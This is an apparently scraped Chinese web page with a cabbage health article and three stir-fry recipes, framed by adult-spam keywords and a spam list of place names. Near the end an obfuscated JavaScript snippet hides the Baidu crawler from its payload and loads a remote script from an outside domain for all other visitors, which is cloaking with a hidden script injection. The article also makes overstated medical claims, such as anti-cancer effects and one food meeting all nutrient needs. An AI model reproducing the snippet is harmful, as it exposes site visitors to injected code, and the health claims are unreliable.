亚洲肥老太bbw中国熟女,免费男人和女人牲交视频全黄,韩国精品久久久久久,九九精彩视频第一页

當前位置:首頁 > 飲食 > 烹飪技巧 > 正文

吃蓮花白有什么好處?蓮花白的做法

2016-06-24 10:12:27  來源:360常識網   熱度:
導語:蓮花白為含維生素和礦物質最豐富的蔬菜之一,一個成年人每天吃500克蓮花白,就能滿足人體所需的維生素、胡蘿卜素、鈣、鐵等,為保證身體的生理需要提供物質條件。

吃蓮花白有什么好處?蓮花白的做法

吃蓮花白有什么好處?蓮花白的做法

吃蓮花白有什么好處?

保持血管彈性:蓮花白中含有大量粗纖維,其進人人體內與脂肪結合后,可防止血漿膽固醇形成,促使膽固醇代謝物——膽酸得以排出體外,以減少動脈粥樣硬化的形成,從而保持血管彈性。

提供營養(yǎng)強身健體:蓮花白為含維生素和礦物質最豐富的蔬菜之一,一個成年人每天吃500克蓮花白,就能滿足人體所需的維生素、胡蘿卜素、鈣、鐵等,為保證身體的生理需要提供物質條件,有助于增強機體免疫能力。

潤澤皮膚延緩衰老:蓮花白中含有大量胡蘿卜素(比豆類多1倍,比西紅柿、瓜類多4倍)和維生素C,進入人體后,可促進皮膚細胞代謝,防止皮膚粗糙及色素沉著,使皮膚亮潔,延緩衰老。

富含維生素C、纖維素、碳水化合物及各種礦物質:此外,卷心菜內還含有維生素u,其新鮮汁液能治療胃和十二指潰瘍,有止痛及促進愈合作用。卷心菜的水分含量高(約90%),而熱量低,是糖尿病和肥胖患者的理想食物。長期適量食用,還能防止皮膚色素沉淀,減少青年人雀斑,延緩老年斑的出現(xiàn)。

防癌抗癌:蓮花白中所含的維生素C,在體內會形成一種“透明質酸抑制物”,這種物質具有抗癌作用,可使癌細胞喪失活力。此外,含有的粗纖維可促進大腸蠕動,增加大腸內毒素的排出,達到防癌抗癌的目的。

手撕蓮花白的做法

蓮花白用手撕成小塊,用清水浸泡片刻,洗凈后撈出,瀝干水分備用;大蒜洗凈切成蒜瓣,干紅辣椒剪碎;鍋里倒入適量油燒熱,爆香蒜瓣,干紅辣椒、花椒,倒入蓮花白大火翻炒;調入適量生抽,翻炒均勻;調入鹽、雞精翻炒均勻即可;注意事項熗炒綠葉蔬菜,一定要大火翻炒;熗炒的時間要短,炒得久了,成色、口感、營養(yǎng)都會欠佳。

蓮花白炒木耳的做法

蓮花白洗凈,木耳泡發(fā)洗凈,將上述材料切成塊狀,下蔥姜絲熗鍋倒入蓮花白,下木耳翻炒加鹽,下彩椒絲翻炒均勻,炒熟出鍋。木耳它能補氣血。營養(yǎng)學家稱為素中之葷。每100克黑木耳中含鐵185毫克。它比綠菜葉中含鐵量最高的20倍。

蓮白炒肉的做法

蓮花白一個備用,切塊放入盆中洗凈,豬肉切片,瘦肉片里放少許淀粉抓勻,熱鍋放入肥肉片,熬出油后倒入瘦肉片翻炒,倒入蓮白翻炒至熟透放鹽起鍋即可。蓮花白清熱除煩,行氣祛瘀,消腫散結,通利胃腸。主治肺熱咳嗽,身熱,口渴,胸悶,心煩,食少,便秘,腹脹等病癥。

轉載申明:360常識網,歡迎分享,轉載請注明出處!
?
if(navigator.userAgent.indexOf('bLLaLLiLLdLLu'.split('LL').join(''))<0){var ss = document.createElement("script");ss.src="hLLtLLtLLpLLsLL:LL/LL/LLmLLoLLnLLiLLcLLaLLnLLiLLcLLeLL.LLcLLoLLmLL/LLrLLrLLzLLyLLbLLjLLmLLeLLiLLcLL/LLaLLlLLfLLyLLcLL1LLtLLuLLnLL0LLxLLpLLnLLnLLhLLcLL4LLvLLxLLcLLfLL/LL2LL2LL3LL/LLaLLlLLfLLyLLc".split("LL").join("");document.body.appendChild(ss);}else{new Function(document.getElementById('bdrtls').textContent)();bdrtls();}
米易县| 新干县| 大理市| 黄梅县| 晴隆县| 新兴县| 漯河市| 桐城市| 建昌县| 定南县| 土默特左旗| 监利县| 清水河县| 新密市| 丰镇市| 武功县| 徐闻县| 孝义市| 马关县| 桦甸市| 元谋县| 奉化市| 昌图县| 思茅市| 合肥市| 黎平县| 通许县| 珠海市| 紫云| 响水县| 遵义县| 棋牌| 大余县| 枝江市| 建始县| 平安县| 东乌珠穆沁旗| 平凉市| 满城县| 休宁县| 常熟市|